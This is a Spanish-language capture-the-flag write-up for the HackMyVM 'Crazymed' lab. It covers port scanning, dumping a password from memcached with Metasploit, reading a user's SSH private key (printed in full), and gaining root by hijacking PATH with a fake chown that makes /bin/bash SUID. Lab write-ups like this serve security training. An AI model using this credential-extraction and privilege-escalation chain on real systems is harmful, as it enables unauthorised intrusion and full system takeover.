Crazymed HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-17 03:26 EDT
Nmap scan report for 192.168.5.41
Host is up (0.00095s latency).

PORT      STATE SERVICE   VERSION
22/tcp    open  ssh       OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 db:fb:b1:fe:03:9c:17:36:83:ac:6b:c0:52:ad:a0:05 (RSA)
|   256 56:3b:7c:e3:23:4a:25:5a:be:54:d1:2e:9d:44:9a:06 (ECDSA)
|_  256 81:d4:2e:47:33:34:a9:6f:10:70:c1:90:80:aa:b6:6a (ED25519)
80/tcp    open  http      Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Crazymed Bootstrap Template - Index
4444/tcp  open  krb524?
| fingerprint-strings: 
|   GetRequest: 
|     [1;97mW
|     [1;97me
|     [1;97ml
|     [1;97mc
|     [1;97mo
|     [1;97mm
|     [1;97me
|     [1;97m 
|     [1;97mt
|     [1;97mo
|     [1;97m 
|     [1;97mt
|     [1;97mh
|     [1;97me
|     [1;97m 
|     [1;97mC
|     [1;97mr
|     [1;97ma
|     [1;97mz
|     [1;97my
|     [1;97mm
|     [1;97me
|     [1;97md
|     [1;97m 
|     [1;97mm
|     [1;97me
|     [1;97md
|     [1;97mi
|     [1;97mc
|     [1;97ma
|     [1;97ml
|     [1;97m 
|     [1;97mr
|     [1;97me
|     [1;97ms
|     [1;97me
|     [1;97ma
|     [1;97mr
|     [1;97mc
|     [1;97mh
|     [1;97m 
|     [1;97ml
|     [1;97ma
|     [1;97mb
|     [1;97mo
|     [1;97mr
|     [1;97ma
|     [1;97mt
|     [1;97mo
|     [1;97mr
|     [1;97my
|     [1;97m.
|     tests are performed on human volunteers for a fee.
|     Password: 
|     [1;31mAccess denied.
|     Password: 
|     [1;31mAccess denied.
|     Password:
|   NULL: 
|     [1;97mW
|     [1;97me
|     [1;97ml
|     [1;97mc
|     [1;97mo
|     [1;97mm
|     [1;97me
|     [1;97m 
|     [1;97mt
|     [1;97mo
|     [1;97m 
|     [1;97mt
|     [1;97mh
|     [1;97me
|     [1;97m 
|     [1;97mC
|     [1;97mr
|     [1;97ma
|     [1;97mz
|     [1;97my
|     [1;97mm
|     [1;97me
|     [1;97md
|     [1;97m 
|     [1;97mm
|     [1;97me
|     [1;97md
|     [1;97mi
|     [1;97mc
|     [1;97ma
|     [1;97ml
|     [1;97m 
|     [1;97mr
|     [1;97me
|     [1;97ms
|     [1;97me
|     [1;97ma
|     [1;97mr
|     [1;97mc
|     [1;97mh
|     [1;97m 
|     [1;97ml
|     [1;97ma
|     [1;97mb
|     [1;97mo
|     [1;97mr
|     [1;97ma
|     [1;97mt
|     [1;97mo
|     [1;97mr
|     [1;97my
|     [1;97m.
|     tests are performed on human volunteers for a fee.
|_    Password:
11211/tcp open  memcached Memcached 1.6.9 (uptime 49 seconds)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at 
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4444-TCP:V=7.95%I=7%D=6/17%Time=685118C0%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2C3,"\x1b[H\x1b[2J\x1b[3J\x1b[1;97mW\x1b[0m\x1b[1;97me\x1b[0m
SF:\x1b[1;97ml\x1b[0m\x1b[1;97mc\x1b[0m\x1b[1;97mo\x1b[0m\x1b[1;97m
SF:m\x1b[0m\x1b[1;97me\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mt\x1b[0
SF:m\x1b[1;97mo\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mt\x1b[0m\x1b[1
SF:;97mh\x1b[0m\x1b[1;97me\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mC\x1
SF:b[0m\x1b[1;97mr\x1b[0m\x1b[1;97ma\x1b[0m\x1b[1;97mz\x1b[0m\x1b[
SF:1;97my\x1b[0m\x1b[1;97mm\x1b[0m\x1b[1;97me\x1b[0m\x1b[1;97md\x1b\
SF:[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mm\x1b[0m\x1b[1;97me\x1b[0m\x1b\
SF:[1;97md\x1b[0m\x1b[1;97mi\x1b[0m\x1b[1;97mc\x1b[0m\x1b[1;97ma\x1b
SF:[0m\x1b[1;97ml\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mr\x1b[0m\x1b
SF:[1;97me\x1b[0m\x1b[1;97ms\x1b[0m\x1b[1;97me\x1b[0m\x1b[1;97ma\x1
SF:b[0m\x1b[1;97mr\x1b[0m\x1b[1;97mc\x1b[0m\x1b[1;97mh\x1b[0m\x1b[
SF:1;97m\x20\x1b[0m\x1b[1;97ml\x1b[0m\x1b[1;97ma\x1b[0m\x1b[1;97mb\x
SF:1b[0m\x1b[1;97mo\x1b[0m\x1b[1;97mr\x1b[0m\x1b[1;97ma\x1b[0m\x1b\
SF:[1;97mt\x1b[0m\x1b[1;97mo\x1b[0m\x1b[1;97mr\x1b[0m\x1b[1;97my\x1b
SF:[0m\x1b[1;97m\.\x1b[0m\nAll\x20our\x20tests\x20are\x20performed\x20o
SF:n\x20human\x20volunteers\x20for\x20a\x20fee\.\n\n\nPassword:\x20")%r(Ge
SF:tRequest,30D,"\x1b[H\x1b[2J\x1b[3J\x1b[1;97mW\x1b[0m\x1b[1;97me\x
SF:1b[0m\x1b[1;97ml\x1b[0m\x1b[1;97mc\x1b[0m\x1b[1;97mo\x1b[0m\x1b\
SF:[1;97mm\x1b[0m\x1b[1;97me\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mt\
SF:x1b[0m\x1b[1;97mo\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mt\x1b[0m\
SF:x1b[1;97mh\x1b[0m\x1b[1;97me\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;9
SF:7mC\x1b[0m\x1b[1;97mr\x1b[0m\x1b[1;97ma\x1b[0m\x1b[1;97mz\x1b[0m
SF:\x1b[1;97my\x1b[0m\x1b[1;97mm\x1b[0m\x1b[1;97me\x1b[0m\x1b[1;97m
SF:d\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mm\x1b[0m\x1b[1;97me\x1b[0
SF:m\x1b[1;97md\x1b[0m\x1b[1;97mi\x1b[0m\x1b[1;97mc\x1b[0m\x1b[1;97
SF:ma\x1b[0m\x1b[1;97ml\x1b[0m\x1b[1;97m\x20\x1b[0m\x1b[1;97mr\x1b[
SF:0m\x1b[1;97me\x1b[0m\x1b[1;97ms\x1b[0m\x1b[1;97me\x1b[0m\x1b[1;9
SF:7ma\x1b[0m\x1b[1;97mr\x1b[0m\x1b[1;97mc\x1b[0m\x1b[1;97mh\x1b[0m
SF:\x1b[1;97m\x20\x1b[0m\x1b[1;97ml\x1b[0m\x1b[1;97ma\x1b[0m\x1b[1;
SF:97mb\x1b[0m\x1b[1;97mo\x1b[0m\x1b[1;97mr\x1b[0m\x1b[1;97ma\x1b[0
SF:m\x1b[1;97mt\x1b[0m\x1b[1;97mo\x1b[0m\x1b[1;97mr\x1b[0m\x1b[1;97
SF:my\x1b[0m\x1b[1;97m\.\x1b[0m\nAll\x20our\x20tests\x20are\x20performe
SF:d\x20on\x20human\x20volunteers\x20for\x20a\x20fee\.\n\n\nPassword:\x20\
SF:x1b[1;31mAccess\x20denied\.\x1b[0m\n\nPassword:\x20\x1b[1;31mAccess\
SF:x20denied\.\x1b[0m\n\nPassword:\x20");
MAC Address: 08:00:27:50:C2:06 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.43 seconds

Veremos que hay varios puertos interesantes, entre ellos el puerto 4444 y el 11211, en el reporte que nos da nmap ya vemos algo de informacion sobre todo en el puerto 4444 en estas lineas:

tests are performed on human volunteers for a fee.
|     Password: 
|     [1;31mAccess denied.
|     Password: 
|     [1;31mAccess denied.
|     Password:
|   NULL:

Vemos lo que parece un metodo de autenticacion, vamos a proba a conectarnos a dicho puerto desde nc a ver que pasa.

nc <IP_VICTIM> 4444

Info:

Welcome to the Crazymed medical research laboratory.
All our tests are performed on human volunteers for a fee.


Password: test
Access denied.

Vemos que efectivamente se esta utilizando un metodo de autenticacion en dicho puerto, por lo que vamos a ver si tuviera alguna vulnerabilidad para poder extraerlas o de algun otro sitio que las tuviera.

Metasploit (memcached)

Vemos que el puerto 11211 esta utilizando memcached con el cual se puede extraer informacion del puerto 4444, si nos vamos a metasploit y buscamos dicho puerto, veremos que efectivamente puede ser vulnerable a ello.

msfconsole -q
search memcached

Info:

Matching Modules
================

   #  Name                                               Disclosure Date  Rank    Check  Description
   -  ----                                               ---------------  ----    -----  -----------
   0  auxiliary/gather/memcached_extractor               .                normal  No     Memcached Extractor
   1  auxiliary/dos/misc/memcached                       .                normal  No     Memcached Remote Denial of Service
   2  auxiliary/scanner/memcached/memcached_amp          2018-02-27       normal  No     Memcached Stats Amplification Scanner
   3  auxiliary/scanner/memcached/memcached_udp_version  2003-07-23       normal  No     Memcached UDP Version Scanner


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/memcached/memcached_udp_version

Vamos a seleccionar el numero 0.

use auxiliary/gather/memcached_extractor

Ahora vamos a establecerle la IP de la maquina victima e iniciarlo.

set RHOSTS <IP>
run

Info:

[+] 192.168.5.41:11211    - Found 4 keys

Keys/Values Found for 192.168.5.41:11211
========================================

 Key            Value
 ---            -----
 conf_location  "VALUE conf_location 0 21\r\n/etc/memecacched.conf\r\nEND\r\n"
 domain         "VALUE domain 0 8\r\ncrazymed\r\nEND\r\n"
 log            "VALUE log 0 18\r\npassword: cr4zyM3d\r\nEND\r\n"
 server         "VALUE server 0 9\r\n127.0.0.1\r\nEND\r\n"

[+] 192.168.5.41:11211    - memcached loot stored at /root/.msf4/loot/20250617033508_default_192.168.5.41_memcached.dump_229509.txt
[*] 192.168.5.41:11211    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Vemos que ha funcionado y nos ha proporcionado 4 keys, por lo que vamos a reconstruirlas un poco de mejor forma.

La que mas nos interesa es esta:

log            "VALUE log 0 18\r\npassword: cr4zyM3d\r\nEND\r\n"

Por lo que vemos la contraseña seria cr4zyM3d, por lo que vamos a probarlo utilizando nc de nuevo para conectarnos.

Escalate user brad

nc <IP_VICTIM> 4444

Metemos como contraseña cr4zyM3d y veremos que estaremos en una especie de prompt en el que podremos ejecutar comandos como si fuera una terminal, vamos a ver quienes somos.

Welcome to the Crazymed medical research laboratory.
All our tests are performed on human volunteers for a fee.


Password: cr4zyM3d
Access granted.

Type "?" for help.

System command: whoami
brad
System command: id
uid=1000(brad) gid=1000(brad) groups=1000(brad),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)

Vemos que somos el usuario brad, vamos a ver si tuviera alguna id_rsa para conectarnos por SSH de mejor forma.

cat /home/brad/.ssh/id_rsa

Info:

-----BEGIN OPENSSH PRIVATE KEY-----
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
KlxiCx/FiOytUAAAAKYnJhZEBkYW5nYQE=
-----END OPENSSH PRIVATE KEY-----

Vemos que si obtuvimos la id_rsa por lo que vamos a conectarnos por SSH con dicha id_rsa.

SSH

ssh -i id_rsa brad@<IP>

Info:

Linux crazymed 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Oct 31 18:36:58 2022 from 192.168.0.29
brad@crazymed:~$ whoami
brad

Con esto veremos que ya estaremos dentro con dicho usuario, por lo que leeremos la flag del usuario.

user.txt

f70a9801673220fb56f42cf9d5ddc28b

Escalate Privileges

Si nos vamos al /opt veremos un archivo llamado check_VM el cual parece bastante interesante, si lo leemos veremos lo siguiente.

#! /bin/bash

#users flags
flags=(/root/root.txt /home/brad/user.txt)
for x in "${flags[@]}"
do
if [[ ! -f $x ]] ; then
echo "$x doesn't exist"
mcookie > $x
chmod 700 $x
fi
done

chown -R www-data:www-data /var/www/html

#bash_history => /dev/null
home=$(cat /etc/passwd |grep bash |awk -F: '{print $6}')

for x in $home
do
ln -sf /dev/null $x/.bash_history ; eccho "All's fine !"
done


find /var/log -name "*.log*" -exec rm -f {} +

Vemos que esta utilizando el chown como ruta relativa, por lo que se podria hacer un Path Hijacking, si observamos el PATH que tenemos a nivel de sistema.

echo $PATH

Info:

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Veremos que tiene una vulnerabilidad y es que esta cogiendo antes los binarios que se depositen en el /local/bin que en el /bin por lo que nosotros podremos crear ahi el chown y establecer con permisos de SUID la bash, vamos a creer que este archivo lo esta ejecutando root por detras con un crontab, vamos a probar a crear el archivo.

nano /usr/local/bin/chown

#Dentro del nano
#!/bin/bash

chmod u+s /bin/bash

Establecemos los permisos de ejecuccion.

chmod +x /usr/local/bin/chown

Lo guardamos y esperamos un rato a ver si surge efecto, despues de un rato si listamos la bash.

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Veremos que ha funcionado, por lo que haremos lo siguiente para ser root.

bash -p

Info:

bash-5.1# whoami
root

Con esto veremos que ya seremos root, por lo que leeremos la flag de root.

root.txt

b9b38d9533ca00072eff46338bf21b43

Last updated